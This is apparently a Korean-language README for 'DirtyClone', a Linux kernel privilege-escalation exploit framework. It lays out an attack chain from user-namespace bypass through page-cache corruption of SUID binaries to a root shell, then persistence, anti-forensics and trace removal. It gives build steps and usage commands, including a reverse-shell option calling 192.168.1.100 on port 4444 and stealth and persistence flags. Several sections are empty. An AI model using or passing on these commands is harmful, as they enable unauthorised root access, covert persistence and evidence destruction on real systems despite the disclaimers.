DirtyClone 익스플로잇 프레임워크
CVE-2026-46331 — Linux 커널 로컬 권한 상승
TC pedit + IPsec TEE 페이지 캐시 손상 · 영향받는 커널: ≤ 6.12.9
╔═══════════════════════════════════════════════════════════════╗
║ ____ _ _ ____ _ ║
║ | _ \(_)_ __| |_ _ _/ ___| | ___ _ __ ___ ║
║ | | | | | '__| __| | | | | | |/ _ \| '_ \ / _ \ ║
║ | |_| | | | | |_| |_| | |___| | (_) | | | | __/ ║
║ |____/|_|_| \__|_, |\____|_|\___/|_| |_|\___| ║
║ |___/ ║
╠═══════════════════════════════════════════════════════════════╣
║ CVE-2026-46331 · v1.0.0 · FOR RESEARCH AND EDUCATION ONLY ║
╚═══════════════════════════════════════════════════════════════╝

⚠️ 교육 및 연구 목적으로만 사용하십시오
이 프레임워크는 본인이 소유했거나 명시적인 서면 승인을 받은 격리된 실습 환경에서만 사용하십시오.
무단 사용은 불법이며 비윤리적입니다.
📋 목차
🔬 취약점 개요
CVE-2026-46331은 Linux 커널(≤ 6.12.9)에서 TC(cls_act) pedit 액션과 IPsec TEE 기반 패킷 복제 간의 경쟁 조건(race condition)으로 인해 발생하는 로컬 권한 상승 취약점입니다.
근본 원인
패킷이 IHL = 15로 설정하는 pedit 액션이 있는 TC 이그레스(egress) 경로를 통과하면, 커널의 IPsec 서브시스템은 계산된 IP 페이로드 오프셋이 실제 패킷 경계를 초과하는 손상된 패킷을 수신합니다. 동시에 실행되는 sendfile(2) 작업에서 이러한 불일치로 인해 비특권 사용자(CAP_NET_ADMIN이 있는 사용자 네임스페이스 내부)는 SUID 바이너리를 포함한 임의 파일의 읽기 전용 페이지 캐시 항목을 손상시킬 수 있습니다.
영향
🔗 공격 체인
Unprivileged User (UID=1000)
│
▼
[1] Reconnaissance
├─ Kernel version check
├─ userns availability
└─ Target binary profiling
│
▼
[2] Namespace Bypass
├─ unshare(CLONE_NEWUSER|CLONE_NEWNET)
├─ AppArmor profile hopping (fallback)
└─ CAP_NET_ADMIN acquired
│
▼
[3] Network Infrastructure
├─ clsact qdisc on lo
├─ pedit filter (IHL=15)
└─ IPsec ESP + TEE
│
▼
[4] Page Cache Corruption
├─ sendfile → pedit trigger
├─ Page cache entry corrupted
└─ Shellcode written to read-only binary
│
▼
[5] Privilege Escalation
└─ execve(SUID binary) → root shell
│
▼
[6-8] Post-Exploitation
├─ Persistence (6 mechanisms)
├─ Evasion / Anti-Forensics
└─ Trace cleanup
│
▼
🎯 ROOT SHELL (UID=0 EUID=0)
📁 프로젝트 구조
dirtyclone-exploit/
├── Makefile # Build system
├── README.md # This file
├── LICENSE # MIT License
│
├── include/
│ ├── exploit.h # Core types, flags, prototypes
│ ├── packet_engine.h # Packet crafting engine API
│ ├── memory_ops.h # Page cache corruption API
│ └── persistence.h # Persistence mechanism API
│
├── src/
│ ├── main.c # Framework entry point
│ ├── stage_env_analysis.c # Phase 1: Reconnaissance
│ ├── stage_namespace_bypass.c # Phase 2: userns bypass
│ ├── stage_network_setup.c # Phase 3: TC/IPsec setup
│ ├── stage_page_cache_corrupt.c # Phase 4: Core exploit
│ ├── stage_privilege_escalation.c # Phase 5: LPE
│ ├── stage_persistence.c # Phase 6: Persistence
│ ├── stage_evasion.c # Phase 7: Anti-forensics
│ ├── stage_cleanup.c # Phase 8: Trace removal
│ ├── memory_ops.c # Page cache primitives
│ ├── packet_engine.c # Raw packet crafting
│ └── persistence.c # Persistence implementations
│
├── modules/
│ ├── packet_craft.py # Python packet crafter (Scapy)
│ └── exploit_analyzer.py # Pre-exploit analysis tool
│
├── scripts/
│ ├── setup_env.sh # Dependency install + build
│ ├── cleanup.sh # System cleanup
│ └── detect_targets.sh # Vulnerable binary scanner
│
└── payloads/
└── README.md # Payload directory info
⚙️ 요구 사항
컴파일 시
gcc ≥ 10
make
libcap-dev / libcap-devel
런타임(Linux 대상)
- 커널 ≤ 6.12.9
iproute2 (tc, ip)
iptables
- 비특권 사용자 네임스페이스 활성화
Python 모듈(선택)
🔧 빌드 및 설치
# Clone
git clone https://github.com/vulnquest58/dirtyclone-exploit
cd dirtyclone-exploit
# Auto setup (installs deps + builds)
sudo bash scripts/setup_env.sh
# Manual build
make all
# Debug build
make debug
# Clean
make clean
🚀 사용법
# Show help
./bin/dirtyclone --help
# Dry run (analysis only, no exploitation)
./bin/dirtyclone --test
# Basic exploitation (default target: /usr/bin/su)
sudo ./bin/dirtyclone
# Custom target with stealth + persistence
sudo ./bin/dirtyclone --target /usr/bin/sudo --stealth --persist
# Reverse shell
sudo ./bin/dirtyclone --remote 192.168.1.100 4444 --cleanup
# Detect vulnerable targets first
bash scripts/detect_targets.sh
🐍 Python 모듈
exploit_analyzer.py — 사전 익스플로잇 정찰
# Analyze default target
python3 modules/exploit_analyzer.py
# Custom target
python3 modules/exploit_analyzer.py --target /usr/bin/sudo
# JSON output for automation
python3 modules/exploit_analyzer.py --json
# Scan all SUID binaries
python3 modules/exploit_analyzer.py --all-suid
packet_craft.py — 원시 패킷 트리거
# Send exploit packets at offset 0x1234
sudo python3 modules/packet_craft.py --offset 0x1234
# Custom interface and packet count
sudo python3 modules/packet_craft.py --iface eth0 --count 20
🛡️ 방어 완화 조치
📅 타임라인
| 날짜 | 이벤트 |
|---|
| 2026-01-15 | 커널 감사 중 취약점 발견 |
| 2026-02-03 |
📚 참고 자료
👤 작성자
VulnQuest · 보안 연구
이 저장소는 교육 목적으로만 제공됩니다.
모든 익스플로잇 코드는 승인된 실습 환경에서 사용하도록 제작되었습니다.